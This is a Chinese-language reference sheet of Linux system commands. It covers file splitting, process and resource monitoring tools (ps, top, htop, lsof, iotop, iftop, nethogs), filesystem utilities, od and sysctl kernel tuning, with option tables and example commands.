默认大小为1000行,默认前缀为“x”。没有输入,或者当输入时是-,读取标准输入。
-a, --suffix-length=N 生成长度为N的后缀(default 2)
--additional-suffix=SUFFIX 在文件名后面附加一个后缀
-b, --bytes=SIZE 指定每个输出文件的字节大小
-C, --line-bytes=SIZE 指定每个输出文件最多放入大小为 SIZE 字节的行
-d, --numeric-suffixes[=FROM] 使用数字后缀而不是字母;从 FROM 更改起始值(default 0)
-e, --elide-empty-files 不生成空输出文件 with '-n'
--filter=COMMAND 写入shell命令;文件名为 $FILE
-l, --lines=NUMBER 指定每个输出文件的行数 NUMBER
-n, --number=CHUNKS 生成 CHUNKS 输出文件; see explanation below
-u, --unbuffered 立即将输入复制到输出 with '-n r/...'
--verbose 在生成每个输出文件之前打印诊断
CHUNKS may be:
N 根据输入的大小分成N个文件
K/N 将 N 个 K 输出到stdout
l/N 拆分为 N 个文件而不拆分行
l/K/N 在不拆分行的情况下,将 N 个 K 输出到stdout
r/N 像“l”但使用循环分配
r/K/N 像“l”但使用循环分配,将 N 个 K 输出到stdout
Example:
split -b 40m log.log -d log_ --verbose
split -b Size –d tar-file-name prefix-name
split -b 1M –d mybackup.tgz mybackup-parts
split -b 1M mybackup.tgz mybackup-parts
csplit
将一个大文件分割成小的碎片,并且将分割后的每个碎片保存成一个文件。碎片文件的命名类似“xx00”,“xx01”
csplit能够根据文件本身特点来分割文件。
-b<输出格式>或--suffix-format=<输出格式> | 预设的输出格式其文件名称为xx00,xx01等,用户可以通过改变<输出格式>来改变输出的文件名 |
---|---|
-f<输出字首字符串>或--prefix=<输出字首字符串> | 预设的输出字首字符串其文件名为xx00,xx01等,如果制定输出字首字符串为“hello”,则输出的文件名称会变成hello00,hello、01…… |
-k或--keep-files | 保留文件,就算发生错误或中断执行,与不能删除已经输出保存的文件 |
-n<输出文件名位数>或--digits=<输出文件名位数> | 预设的输出文件名位数其文件名称为xx00,xx01……如果用户指定输出文件名位数为“3”,则输出的文件名称会变成xx000,xx001等 |
-q或-s或--quiet或--silent | 不显示指令执行过程 |
-z或--elide-empty-files | 删除长度为0 Byte文件 |
1.将文本文件filename以第 2 行为分界点切割成两份:
csplit filename 2
2.将文本文件filename以120行为分界点切割成2份,并指定输出文件名的位数为3:
csplit -n 3 filename 120
3.将文本文件textfile以120行为分界点切割成2份,并指定输出文件名的前缘为fileName位数为3:
csplit -f fileName testfile 120
4.将文件 filename 以10行为单位分割8次,并指定输出文件名的格式 :
csplit -b "myfile%o% filename 10 {8}
5.将文本文件 filename 以每20行为单位分割:
csplit filename 20 {*}
6.把文件以字符串”Chapter X”为分界符,分成两部分:
csplit filename /"Chapter X"/
7.将server.log分割成server01.log、server02.log、server03.log,这些文件的内容分别取自原文件中不同的SERVER部分:
csplit server.log /SERVER/ -n2 -s {*} -f server -b "%02d.log"
/[正则表达式]/ #匹配文本样式,比如/SERVER/,从第一行到包含SERVER的匹配行。
{*} #表示根据匹配重复执行分割,直到文件尾停止,使用{整数}的形式指定分割执行的次数。
-s #静默模式,不打印其他信息。
-n #指定分割后的文件名后缀的数字个数。比如01、02、03等。
-f #指定分割后的文件名前缀。
-b #指定后缀格式。比如%02d.log,类似于C语言中的printf参数格式。
ps
ps process status
-a 显示所有终端机下执行的程序,除了阶段作业领导者之外
a 显示现行终端机下的所有程序,包括其他用户的程序
-A,-e 显示所有程序
-c 显示CLS和PRI栏位
c 列出程序时,显示每个程序真正的指令名称,而不包含路径,
选项或常驻服务的标示
-C <指令名称> 指定执行指令的名称,并列出该指令的程序的状况
-d 显示所有程序,但不包括阶段作业领导者的程序
e 列出程序时,显示每个程序所使用的环境变量
-f 显示UID,PPIP,C与STIME栏位
f,--forest 用ASCII字符显示树状结构,表达程序间的相互关系
-g,--group <群组名称> same as -G,亦能使用阶段作业领导者的名称来指定
g 显示现行终端机下的所有程序,包括群组领导者的程序
-G,--Group <群组识别码> 列出属于该群组的程序的状况,也可使用群组名称来指定
h,--no-headers 不显示标题列
-H 显示树状结构,表示程序间的相互关系
-j,j 采用工作控制的格式显示程序状况
-l,l 采用详细的格式来显示程序状况
L 列出栏位的相关信息
-m,m 显示所有的执行绪
n 以数字来表示USER和WCHAN栏位
-N,--deselect 显示所有的程序,除了执行ps指令终端机下的程序之外
-p,p,--pid <程序识别码> 指定程序识别码,并列出该程序的状况
r 只列出现行终端机正在执行中的程序
-s,--sid <阶段作业> 指定阶段作业的程序识别码,并列出隶属该阶段作业的程序的状况
s 采用程序信号的格式显示程序状况
S,--cumulative 列出程序时,包括已中断的子程序资料
-t,t,-tty <终端机编号> 指定终端机编号,并列出属于该终端机的程序的状况
-T 显示现行终端机下的所有程序
u 以用户为主的格式来显示程序状况
-u,-U,--User <用户识别码> 列出属于该用户的程序的状况,也可使用用户名称来指定
U,--user <用户名称> 列出属于该用户的程序的状况
v 采用虚拟内存的格式显示程序状况
-w,w 采用宽阔的格式来显示程序状况
x 显示所有程序,不以终端机来区分
X 采用旧式的Linux i386登陆格式显示程序状况
-y 配合选项”-l”使用时,不显示F(flag)栏位,并以RSS栏位取代ADDR栏位
--cols,--columns,--widty <每列字符数> 设置每列的最大字符数
--headers 重复显示标题列
--lines,--rows <显示列数> 设置显示画面的列数
Examples:
ps aux 显示详细的资讯和用户
ps aux|less 查看进程完整 COMMAN
ps axo pid,ni,command | grep sshd 显示进程优先级
ps aux|grep 程序关键字|grep -v grep|awk '{print $2}'
ps aux|grep 程序关键字|grep -v grep|awk '{print $2}'|xargs kill -9
ps -ef | sort -k7 将进程按运行时间排升序,看哪个进程消耗的cpu时间最多
standard 语法:
ps -e
ps -ef
ps -eF
ps -ely
BSD 语法:
ps ax
ps axu
print a process tree:
ps -ejH
ps axjf
info about threads:
ps -eLf
ps axms
security info:
ps -eo euser,ruser,suser,fuser,f,comm,label
ps axZ
ps -eM
以用户格式查看以root(实际有效ID)身份运行的每个进程:
ps -U root -u root u
使用用户定义的格式查看每个进程:
ps -eo pid,tid,class,rtprio,ni,pri,psr,pcpu,stat,wchan:14,comm
ps axo stat,euid,ruid,tty,tpgid,sess,pgrp,ppid,pid,pcpu,comm
ps -Ao pid,tt,user,fname,tmout,f,wchan
Print only the process IDs of syslogd:
ps -C syslogd -o pid=
Print only the name of PID 42:
ps -q 42 -o comm=
标志 | 意义 |
---|---|
USER | 该 process 属于那个使用者账号的 |
PID | 该 process 的唯一标识号码 |
%CPU | 该 process 使用的 CPU 资源百分比 |
%MEM | 该 process 所占用的物理内存百分比 |
VSZ | 该 process 使用的虚拟内存量 (Kbytes) |
RSS | 该 process 占用的固定内存量 (Kbytes) |
TTY | 该 process 是在那个终端机上面运作,? = 与终端机无关,tty1-tty6 = 本机上面的登入者程序, pts/0 ... = 由网络连接进主机的程序。 |
STAT | 该程序目前的状态 |
START | 该 process 被触发启动的时间 |
TIME | 该 process 实际使用 CPU 运作的时间 |
COMMAND | 该程序的实际指令, 有[]内核态进程, 无[]用户进程 |
STAT基本 | 描述 | STAT符号 | 描述 | 示例 |
---|---|---|---|---|
R | 进程运行 | s | 进程是控制进程 | Ss进程的领导者,父进程 |
S | 可中断睡眠 | < | 进程运行在高优先级上 | S<优先级较高的进程 |
T | 进程被暂停 | N | 进程运行在低优先级上 | SN优先级较低的进程 |
D | 不可中断进程 | + | 当前进程运行在前台 | R+该表示进程在前台运行 |
Z | 僵尸进程 | l | 进程是多线程的 | Sl表示进程是以线程方式运行 |
进程目录:
cd /proc/PID
ll /proc/PID
cwd符号链接的是进程运行目录;
exe符号连接就是执行程序的绝对路径;
cmdline就是程序运行时输入的命令行命令;
environ记录了进程运行时的环境变量;
fd目录下是进程打开或使用的文件的符号连接
pstree
yum -y install psmisc
Psmisc软件包包含三个帮助管理/proc目录的程序。
fuser 显示使用指定文件或者文件系统的进程的PID。
killall 杀死某个名字的进程,它向运行指定命令的所有进程发出信号。
pstree 树型显示当前运行的进程。
pstree [-acGhlnpuUV][-H <程序识别码>][<程序识别码>/<用户名称>]
-a 显示每个程序的完整指令,包含路径,参数或是常驻服务的标示。
-c 不使用精简标示法。
-G 使用VT100终端机的列绘图字符。
-h 列出树状图时,特别标明现在执行的程序。
-H<程序识别码> 列出树状图时,特别标明指定的程序。
-l 采用长列格式显示树状图,默认值。
-n 用程序识别码排序。预设是以程序名称来排序。
-p 显示程序识别码。会显示程序id
-u 显示用户名称。
-U 使用UTF-8列绘图字符。
top
实时显示系统中各个进程的资源占用状况
top
-d 指定更新的时间间隔,以秒计算。
-q 没有任何延迟的更新。如果使用者有超级用户权限,则top命令将会以最高的优先序执行。
-c,- 显示进程 COMMAND 完整的路径与名称。
-S 累积模式,会将己完成或消失的子行程的CPU时间累积起来。
-s 安全模式。去除交互命令所带来的潜在危险。
-i 不显示任何闲置(Idle)或僵死(Zombie)的行程。
-n 显示更新的次数,完成后将会退出top
-b 批次档模式,搭配 “n” 参数一起使用,可以用来将 top 的结果输出到档案内
-p 仅监控指定PID进程的状态
任务队列信息: same as uptime
10:37:35 当前时间
up 25 days, 17:29 系统已运行时间,格式为天,时:分
1 user 当前登录用户数
load average: 0.00, 0.02, 0.05 最近1分钟、5分钟、15分钟的平均系统负载,即任务队列的平均长度。
Tasks:
104 total 进程总数
1 running 运行进程数
103 sleeping 睡眠进程数
0 stopped 停止进程数
0 zombie 僵尸进程数
Cpu(s): CPU信息区
0.1%us 运行(未调整优先级的) 用户进程占用CPU百分比
0.0%sy 运行内核进程占用CPU百分比
0.0%ni 运行已调整优先级的用户进程占用CPU百分比
99.9%id 空闲CPU百分比
0.0%wa IO等待占用的CPU时间百分比
0.0%hi 处理硬件中断的CPU时间百分比
0.0%si 处理软件中断的CPU时间百分比
0.0%st 这个虚拟机被hypervisor偷去的CPU时间
Mem: 内存信息区
2067816k total 物理内存总量
2007264k used 使用的物理内存总量
60552k free 空闲内存总量
73752k buffers 用作内核缓存的内存量
Swap:
524284k total 交换区总量
315424k used 使用的交换区总量
208860k free 空闲交换区总量
625832k cached 缓存的交换区总量
进程信息区(默认):
PID(Process ID):进程唯一标识符。
USER:进程所有者的用户名。
PR:进程的优先级别。字段 rt 运行在实时态=-100 (显示范围rt~0~39)
NI:进程的优先级别数值。越小的值意味着越高的优先级。负值表示高优先级,正值表示低优先级
VIRT:进程占用的虚拟内存值 VIRT=SWAP+RES
RES:进程占用的物理内存值 RES=CODE+DATA
SHR:进程使用的共享内存值。
S:进程的状态,其中S=睡眠,R=正在运行,Z=僵死状态,N=该进程优先值是负数,D=不可中断的睡眠状态,T=被跟踪或已停止
%CPU:该进程占用的CPU使用率。
%MEM:该进程占用的物理内存和总内存的百分比。
TIME+:该进程启动后占用的总的CPU时间。
COMMAND:运行进程所使用的命令。进程名称(命令名/命令行)
a PID 进程id
b PPID 父进程id
c RUSER Real user name
d UID 进程所有者的用户id
e USER 进程所有者的用户名
f GROUP 进程所有者的组名
g TTY 启动进程的终端名。? =不是从终端启动的进程;tty1-tty6 =本机登入; pts/0 =网络登入
h PR 优先级: (显示范围rt~0~39) rt 运行在实时态=-100
i NI nice值。负值表示高优先级,正值表示低优先级
j P 最后使用的CPU,仅在多CPU环境下有意义
k %CPU 上次更新到现在的CPU时间占用百分比
l TIME 进程使用的CPU时间总计,单位秒
m TIME+ 进程使用的CPU时间总计,单位1/100秒
n %MEM 进程使用的物理内存百分比
o VIRT 进程使用的虚拟内存总量,单位kb。VIRT=SWAP+RES
p SWAP 进程使用的虚拟内存中,被换出的大小,单位kb。
q RES 进程使用的、未被换出的物理内存大小,单位kb。RES=CODE+DATA
r CODE 可执行代码占用的物理内存大小,单位kb
s DATA 可执行代码以外的部分(数据段+栈)占用的物理内存大小,单位kb
t SHR 共享内存大小,单位kb
u nFLT 页面错误次数
v nDRT 最后一次写入到现在,被修改过的页面数。
w S 进程状态。
top交互命令:
1 切换显示 CPU信息区 每个|全部平均
h, ? 显示帮助
z 切换彩色/单色
b 切换粗体/撤销(only if 'x' or 'y')
y 切换高亮 正在运行任务
x 切换高亮 排序字段
k 按系统提示终止一个进程。在安全模式中此命令被屏蔽。
i 忽略闲置和僵死进程
q 退出程序
r 按系统提示重新安排一个进程优先级。默认10。
s 按系统提示改变两次刷新之间的延迟时间。单位为s。如果有小数,就换算成m s。输入0值则系统将不断刷新,默认值是5 s。
f, F 从当前显示中添加或者删除进程信息区列项。
o, O 改变显示项目的顺序。
l 切换显示 平均负载和启动时间信息。
m 切换显示 内存信息区
t 切换显示 进程和CPU状态信息。
c 切换显示 命令名称和完整命令行。
R 倒转 内存信息区 排序
M 根据使用内存大小进行排序
P 根据CPU使用百分比大小进行排序
T 根据时间/累计时间进行排序。
W 将当前设置写入~/.toprc文件中。这是写top配置文件的推荐方法
<ENTER>, <SPACE> 立刻刷新
shift + > 或 shift + < 向右或左改变排序列
监控java线程数:
ps -eLf | grep java | wc -l
监控网络客户连接数:
netstat -n | grep tcp | grep 侦听端口 | wc -l
获取某进程中运行中的线程数量:
ls /proc/PID/task | wc -l
输出进程内存的状况,可以用来分析线程堆栈:
pmap PID
htop
交互式监控与进程查看器,支持使用彩色标识出处理器、swap和内存状态。
可以横向或纵向滚动浏览进程列表,以便看到所有的进程和完整的命令行、在启动上比top更快、杀进程时不需要输入进程号、支持鼠标选中操作、top已不再维护。
epel源:
yum -y install htop
htop
-C 使用单色配色方案
-d 设置更新之间的延迟,以十分之一秒为单位
-s COLUMN 按指定的列排序显示 (try --sort-key=help for a list)
-t Show the tree view
-u USERNAME Show only processes of a given user(given 指定的)
-p PID,[,PID,PID...] Show only the given PIDs
交互式命令:
space 标记一个进程
U 取消所有标记
l 显示进程打来的文件
u 显示特定用户
M 按照内存排序
P 按照CPU排序
T 按在线时长排序
直接输入数字 查找对应的PID进程
上左区:显示了CPU、物理内存和交换分区的信息;
上右区:显示了任务数量、平均负载和连接运行时间等信息;
进程区域:显示出当前系统中的所有进程;
操作提示区:显示了当前界面中F1-F10功能键中定义的快捷功能。
F1:显示帮助信息:
F2:配置界面中的显示信息:
我们可以根据自己的需要修改显式模式以及想要显示的内容,比如:以LED的形式显示CPU的使用情况,并且在左边的区域添加hostname,在右边的区区域添加clock;
自定义进程区域中的显示内容:
F3:进程搜索:
F4:进程过滤器; 从上面的结果可以看出search和filter的区别: search会将光标定位到符合条件的进程上,通过F3键进行逐个查找;而filter会直接将符合条件的进程筛选出来。 search和filter都使用ESC键来取消功能。
F5:显示进程树:
F6:排序:
F7:减小nice值; F8:增加nice值; 直接修改光标选取的进程的nice值:
F9:杀掉指定进程:
F10:退出htop。
空格键:用于标记选中的进程,用于实现对多个进程同时操作:
U:取消所有选中的进程;
s:显示光标所在进程执行的系统调用; 下面显示的为init的系统调用信息:
l
:显示光标所在进程的文件列表;
I
:对排序的结果进行反转显示; 例如,对PPID进行排序后,按‘I’键将会对PPID的排序结果进行反向排序。
a:绑定进程到指定的CPU;
u:显示指定用户的进程;
M:按照内存使用百分比排序,对应MEM%列;
P:按照CPU使用百分比排序,对应CPU%列;
T:按照进程运行的时间排序,对应TIME+列;
K:隐藏内核线程;
H:隐藏用户线程;
#:快速定位光标到PID所指定的进程上。
lsof
列出系统上进程调用文件的相关信息
yum -y install lsof
lsof (list open files)
-a 列出打开文件存在的进程
-c <进程名> 列出指定进程所打开的文件
-g 列出GID号进程详情
-d <文件号> 列出占用该文件号的进程
+d <目录> 列出目录下被打开的文件
+D <目录> 递归列出目录下被打开的文件
-n <目录> 列出使用NFS的文件
-i <条件> 列出符合条件的进程
-p <进程号> 列出指定进程号所打开的文件
-u 列出UID号进程详情
-N select NFS files
-P no port names
-s list file size
-t terse listing(terse 简洁的)
-T disable TCP/TPI info
-U select Unix socket
lsof输出信息:
COMMAND 进程的名称
PID 进程标识符
USER 进程所有者
FD 文件描述符,应用程序通过文件描述符识别该文件。如cwd:应用程序的当前工作目录、txt等
TYPE 文件类型,如DIR目录、REG文件、CHR字符、BLK块设备、UNIX域套接字、FIFO先进先出队列、IPv4网际协议套接字等
DEVICE 指定磁盘的名称
SIZE 文件的大小
NODE 索引节点(文件在磁盘上的标识)
NAME 打开文件的确切名称
文件类型:
DIR:表示目录。
CHR:表示字符类型。
BLK:块设备类型。
UNIX: UNIX 域套接字。
FIFO:先进先出 (FIFO) 队列。
IPv4:网际协议 (IP) 套接字。
DEVICE:指定磁盘的名称
SIZE:文件的大小
NODE:索引节点(文件在磁盘上的标识)
NAME:打开文件的确切名称
Example:
lsof 列出所有打开的文件.不加任何参数会打开所有被打开的文件,建议加参数具体定位
lsof +D /filepath/filepath2/ 递归查看某个目录下的所有子目录和文件的信息
lsof | grep ‘/filepath/filepath2/’ 遍历查看某个目录的所有文件信息
lsof -u username 列出某个用户打开的文件信息
lsof -c mysql ; lsof | grep mysql 列出某个程序所打开的文件信息
lsof -c mysql -c apache 列出多个程序多打开的文件信息
lsof -u test -c mysql 列出某个用户以及某个程序所打开的文件信息
lsof -p 123,456,789 列出多个进程号对应的文件信息
lsof -p ^1 列出除了某个进程号,其他进程号所打开的文件信息
lsof -i 列出所有的网络连接
lsof -i tcp 列出所有tcp 网络连接信息
lsof -i udp 列出所有udp网络连接信息
lsof -i :3306 列出谁在使用某个端口
lsof -i udp:55 列出谁在使用某个特定的udp端口
lsof -i tcp:80 列出谁在使用某个特定的tcp端口
lsof -a -u test -i 列出某个用户的所有的网络连接
lsof -N 列出所有网络文件系统
lsof -u 域名socket文件
lsof -g 5555 某个用户组所打开的文件信息
lsof -d description(like 2) 根据文件描述列出对应的文件信息
lsof -d 2-3 根据文件描述范围列出文件信息
恢复删除的文件:
[root@oldboyedu-lnb ~]# lsof |grep messages
abrt-watc 902 root 4r REG 8,3 9473 1500168 /var/log/messages
rsyslogd 1186 root 7w REG 8,3 9473 1500168 /var/log/messages
cat /proc/1186/fd/7 > /var/log/messages
lsof `which httpd` 那个进程在使用apache的可执行文件
lsof /etc/passwd 那个进程在占用/etc/passwd
lsof /dev/hda6 那个进程在占用hda6
lsof /dev/cdrom 那个进程在占用光驱
lsof -c sendmail 查看sendmail进程的文件使用情况
lsof -c courier -u ^zahn 显示出那些文件被以courier打头的进程打开,但是并不属于用户zahn
lsof -i UDP@[url]www.akadia.com:123 显示那些进程打开了到www.akadia.com的UDP的123(ntp)端口的链接
lsof -i tcp@ohaha.ks.edu.tw:ftp -r 不断查看目前ftp连接的情况(-r,lsof会永远不断的执行,直到收到中断信号,+r,lsof会一直执行,直到没有档案被显示,缺省是15s刷新)
iotop
磁盘I/O使用状况监视工具
yum -y install iotop
iotop [OPTIONS]
-o 仅显示正在产生I/O的进程或线程,交互式界面按o切换
-b 非交互式模式,一般用来记录日志
-n NUM 设置监测的次数,在非交互式模式下很有用[default:无限]
-d SEC 设置每次监测的间隔秒数,接受非整数值[default:1 second]
-p PID 指定监测的进程/线程
-u USER 指定监测的用户
-P only show processes, not all threads
-a show accumulated I/O instead of bandwidth(显示累积I/O而不是带宽)
-k 使用千字节显示
-t add a timestamp on each line (timestamp 时间戳)
-q 取消某些标题行,只在第一次监测时显示列名
-qq 永远不显示列名
-qqq 永远不显示I/O汇总
交互界面按键,和top命令类似:
left和right方向键:改变排序。
r:反向排序。
o:切换至选项-o, --only。
p:切换至-p, --processes选项。
a:切换至-a, --accumulated选项。
q:退出。
i:改变线程的优先级。
iftop
实时流量监控工具,监控TCP/IP连接等,缺点就是无报表功能。必须以root身份才能运行。检查带宽使用情况,通过进程号跟踪网络连接。
yum -y install iftop
iftop [-npblNBP] [-i interface] [-f filter code][-F net/mask] [-G net6/mask6]
-n don't do hostname lookups(lookups 查找)
-N don't convert port numbers to services(convert 转换)
-p 以混杂模式运行(显示同一网段上其他主机之间的流量)
-b 不显示下方的流量条形图
-B display bandwidth in bytes [default:bits](bandwidth 带宽)
-a display bandwidth in packets (以包为单位显示带宽)
-i interface listen on named interface (网卡)
-f filter code 使用过滤代码选择要计数的数据包(默认值:无,但只计算IP数据包)
-F net/mask 显示进出IPv4网络的流量(net/mask 子网/掩码)
-G net6/mask6 显示进出IPv6网络的流量
-l 显示和统计本地链路IPv6流量 [default: off]
-P 显示端口和主机
-m limit 设置带宽上限,界面最上边的刻度的最大值,刻度分五个大段显示
-c config file 指定备用配置文件
-t 使用没有ncurses的文本界面
以下选项仅与-t结合使用:
-s num 在num秒后打印一个文本输出,然后退出
-L num 要打印的行数
Sorting orders: 排序指定
-o 2s Sort by first column (2s 平均流量)(column 柱,栏)
-o 10s Sort by second column (10s 平均流量) [default]
-o 40s Sort by third column (40s 平均流量)
-o source Sort by source address
-o destination Sort by destination address
iftop界面相关说明:
界面上面显示的是类似刻度尺的刻度范围,为显示流量图形的长条作标尺用的。
中间的<= =>这两个左右箭头,表示的是流量的方向。
TX:发送流量
RX:接收流量
TOTAL:总流量
Cumm:运行iftop到目前时间的总流量
peak:流量峰值
rates:分别表示过去 2s 10s 40s 的平均流量
交互界面按键:
b 是否显示平均流量图形条;
B 切换计算2秒/10秒/40秒内的平均流量;
d 是否显示远端目标主机的host信息;
D 是否显示远端目标主机的端口信息;
f 可以编辑过滤代码
h 是否显示帮助;
j/k 向上/向下滚动屏幕显示的连接记录;
l 打开屏幕过滤功能,输入要过滤的字符,比如ip,按回车后,屏幕就只显示这个IP相关的流量信息;
L 切换显示画面上边的刻度;刻度不同,流量图形条会有变化;
n 是否显示本机的IP或主机名;
N 切换显示端口号/端口服务名称;
o 是否固定只显示当前的连接;
p 是否显示端口信息;
P 暂停/继续显示;
s 是否显示本机的host信息;
S 是否显示本机的端口信息;
t 切换显示格式为2行/1行/只显示发送流量/只显示接收流量;
T 是否显示每个连接的总流量;
1/2/3 根据右侧显示的三列流量数据进行排序;
< 根据左边的本机名或IP排序;
> 根据远端目标主机的主机名或IP排序;
! 可以使用shell命令
q 退出监控
Example:
iftop -i eth1 # 监控eth1网卡的流量, 默认监控第一块网卡的流量
iftop -F 10.10.1.0/24
iftop -F 10.10.1.0/255.255.255.0
iftop -m 100M
nethogs
网络流量监控工具 按进程实时统计网络带宽利用率
展示每个进程的带宽使用情况,快速查询哪些进程占用带宽
yum -y install nethogs
nethogs [-b] [-d seconds] [-v mode] [-c count] [-t] [-p] [-s] [device [device [device ...]]]
-b bughunt mode - implies tracemode (bug 狩猎模式 — — 意味着跟踪模式)
-d 更新刷新速率的延迟(秒) [default: 1]
-v view mode (0 = KB/s, 1 = total KB, 2 = total B, 3 = total MB)[default: 0]
-c number of updates. [default: 0] (unlimited 无限的)
-t tracemode 轨迹模式
-p sniff in promiscious mode (not recommended) 在promiscious模式下嗅探(不推荐)
-s 按已发送列对输出进行排序
-a 监视所有设备,甚至是环回/停止的设备。
device 要监视的设备名称,default is all interfaces up and running excluding loopback(excluding 排除)
nethogs eth0 eth1 同时监视eth0和eth1接口
When nethogs is running, press: (press 按)
q: quit
s: sort by SENT traffic (按发送流量排序)
r: sort by RECEIVE traffic (按发送流量排序)
m: switch between total (KB, B, MB) and KB/s mode (total 全部)
dumpe2fs
dumpe2fs [参数] 打印“ext2/ext3”文件系统的超级块和块组信息
-b 打印文件系统中预留的块信息
-ob<超级块> 指定检查文件系统时使用的超级块
-OB<块大小> 检查文件系统时使用的指定的块大小
-h 仅显示超级块信息
-i 从指定的文件系统映像文件中读取文件系统信息
-x 以16进制格式打印信息块成员
resize2fs
resize2fs [选项] [device] [size]增大或者收缩未加载的ext2/ext3/ext4文件系统的大小
-d 打开调试特性
-p 打印已完成的百分比进度条
-f 强制执行调整大小操作,覆盖掉安全检查操作
-F 开始执行调整大小前,刷新文件系统设备的缓冲区
-M 将文件系统缩小到最小值
-P 显示文件系统的最小值
sync
强制将内存缓冲区中的数据立即写入磁盘中,并释放该数据对应的buffer
od
用于读取所给予的文件的内容,输出八进制、十六进制或其它格式编码的字节,通常用于显示或查看文件中不能直接显示在终端的字符。
主要用来查看保存在二进制文件中的值。比如,程序可能输出大量的数据记录,每个数据是一个单精度浮点数。这些数据记录存放在一个文件中,如果想查看下这个数据,这时候od命令就派上用场了。
od命令主要用来格式化输出文件数据,即对文件中的数据进行无二义性的解释。不管是IEEE754格式的浮点数还是ASCII码,od命令都能按照需求输出它们的值。
od [参数] [文件]
-t<输出格式> 设置输出格式
-s<字符串字符数> 只显示符合指定的字符数目的字符串
-v 输出时不省略重复的数据
-w<每列字符数> 设置每列的最大字符数
-N<字符数目> 到设置的字符数目为止
-j<字符数目> 略过设置的字符数目
-A 选择要以何种基数计算字码
-a same as -ta
-b same as -toC
-c same as -tC
-d same as -tu2
-f same as -tfF
-h, -x same as -tx2
-i same as -td2
-l same as -td4
-o same as -to2
Example:
[linuxde@localhost ~]$ echo abcdef g > tmp # 创建 tmp 文件
说明:使用单字节八进制解释进行输出,注意左侧的默认地址格式为八字节
[linuxde@localhost ~]$ od -b tmp
0000000 141 142 143 144 145 146 040 147 012
0000011
说明:使用ASCII码进行输出,注意其中包括转义字符
[linuxde@localhost ~]$ od -c tmp
0000000 a b c d e f g \n
0000011
说明:使用单字节十进制进行解释
[linuxde@localhost ~]$ od -t d1 tmp
0000000 97 98 99 100 101 102 32 103 10
0000011
说明:设置地址格式为十进制。
[linuxde@localhost ~]$ od -A d -c tmp
0000000 a b c d e f g \n
0000009
说明:设置地址格式为十六进制
[linuxde@localhost ~]$ od -A x -c tmp
000000 a b c d e f g \n
000009
说明:跳过开始的两个字节
[linuxde@localhost ~]$ od -j 2 -c tmp
0000002 c d e f g \n
0000011
说明:跳过开始的两个字节,并且仅输出两个字节
[linuxde@localhost ~]$ od -N 2 -j 2 -c tmp
0000002 c d
0000004
说明:每行仅输出1个字节
[linuxde@localhost ~]$ od -w1 -c tmp
0000000 a
0000001 b
0000002 c
0000003 d
0000004 e
0000005 f
0000006
0000007 g
0000010 \n
0000011
说明:每行输出两个字节
[linuxde@localhost ~]$ od -w2 -c tmp
0000000 a b
0000002 c d
0000004 e f
0000006 g
0000010 \n
0000011
说明:每行输出3个字节,并使用八进制单字节进行解释
[linuxde@localhost ~]$ od -w3 -b tmp
0000000 141 142 143
0000003 144 145 146
0000006 040 147 012
0000011
sysctl
用于在内核运行时动态地修改内核的运行参数,可用的内核参数在目录“/proc/sys”中。
它包含一些TCP/ip堆栈和虚拟内存系统的高级选项, 这可以让有经验的管理员提高引人注目的系统性能。用sysctl可以读取设置超过五百个系统变量。
sysctl命令对内核参数的修改仅在当前生效,重启系统后参数丢失。如果希望参数永久生效可以修改配置文件“/etc/sysctl.conf”。
sysctl [选项] [参数]
参数:变量=值:设置内核参数对应的变量值
-n 打印值时不打印关键字
-e 忽略未知关键字错误
-N 仅打印名称
-q 不显示设置为stdout的值
-w 当改变sysctl设置时使用此项
-p 从配置文件“/etc/sysctl.conf”加载内核参数设置
-a 打印当前所有可用的内核参数变量和值
-A 以表格方式打印当前所有可用的内核参数变量和值
读一个指定的变量:
$ sysctl net.ipv6.neigh.lo.locktime
net.ipv6.neigh.lo.locktime = 0
修改指定变量的值:
$ sysctl net.ipv6.neigh.lo.locktime=1
net.ipv6.neigh.lo.locktime = 1
您可以使用sysctl修改系统变量,也可以通过编辑sysctl.conf文件来修改系统变量。sysctl.conf看起来很像rc.conf。它用variable=value
的形式来设定值。指定的值在系统进入多用户模式之后被设定。并不是所有的变量都可以在这个模式下设定。
sysctl变量的设置通常是字符串、数字或者布尔型。(布尔型用 1 来表示'yes',用 0 来表示'no')。
sysctl -w kernel.sysrq=0
sysctl -w kernel.core_uses_pid=1
sysctl -w net.ipv4.conf.default.accept_redirects=0
sysctl -w net.ipv4.conf.default.accept_source_route=0
sysctl -w net.ipv4.conf.default.rp_filter=1
sysctl -w net.ipv4.tcp_syncookies=1
sysctl -w net.ipv4.tcp_max_syn_backlog=2048
sysctl -w net.ipv4.tcp_fin_timeout=30
sysctl -w net.ipv4.tcp_synack_retries=2
sysctl -w net.ipv4.tcp_keepalive_time=3600
sysctl -w net.ipv4.tcp_window_scaling=1
sysctl -w net.ipv4.tcp_sack=1
永久生效修改配置文件:/etc/sysctl.conf
编辑完后,请执行sysctl -p /etc/sysctl.conf
使变动立即生效
# Controls source route verification
# Default should work for all interfaces
net.ipv4.conf.default.rp_filter = 1
# net.ipv4.conf.all.rp_filter = 1
# net.ipv4.conf.lo.rp_filter = 1
# net.ipv4.conf.eth0.rp_filter = 1
# Disables IP source routing
# Default should work for all interfaces
net.ipv4.conf.default.accept_source_route = 0
# net.ipv4.conf.all.accept_source_route = 0
# net.ipv4.conf.lo.accept_source_route = 0
# net.ipv4.conf.eth0.accept_source_route = 0
# Controls the System Request debugging functionality of the kernel
kernel.sysrq = 0
# Controls whether core dumps will append the PID to the core filename.
# Useful for debugging multi-threaded applications.
kernel.core_uses_pid = 1
# Increase maximum amount of memory allocated to shm
# Controls the maximum shared segment size, in bytes
# 线程可使用的最大共享内存
# Only uncomment if needed!
# kernel.shmmax = 67108864
# Controls the maximum number of shared memory segments, in pages
# 最大线程数量
# Only uncomment if needed!
# kernel.shmall = 4294967296
# Controls the maximum size of a message, in bytes
kernel.msgmnb = 65536
# Controls the default maxmimum size of a mesage queue
kernel.msgmax = 65536
# Disable ICMP Redirect Acceptance
# Default should work for all interfaces
net.ipv4.conf.default.accept_redirects = 0
# net.ipv4.conf.all.accept_redirects = 0
# net.ipv4.conf.lo.accept_redirects = 0
# net.ipv4.conf.eth0.accept_redirects = 0
# enable Log Spoofed Packets, Source Routed Packets, Redirect Packets
# Default should work for all interfaces
net.ipv4.conf.default.log_martians = 1
# net.ipv4.conf.all.log_martians = 1
# net.ipv4.conf.lo.log_martians = 1
# net.ipv4.conf.eth0.log_martians = 1
# Decrease the time default value for tcp_fin_timeout connection
net.ipv4.tcp_fin_timeout = 25
# Decrease the time default value for tcp_keepalive_time connection
net.ipv4.tcp_keepalive_time = 1200
# Turn on the tcp_window_scaling
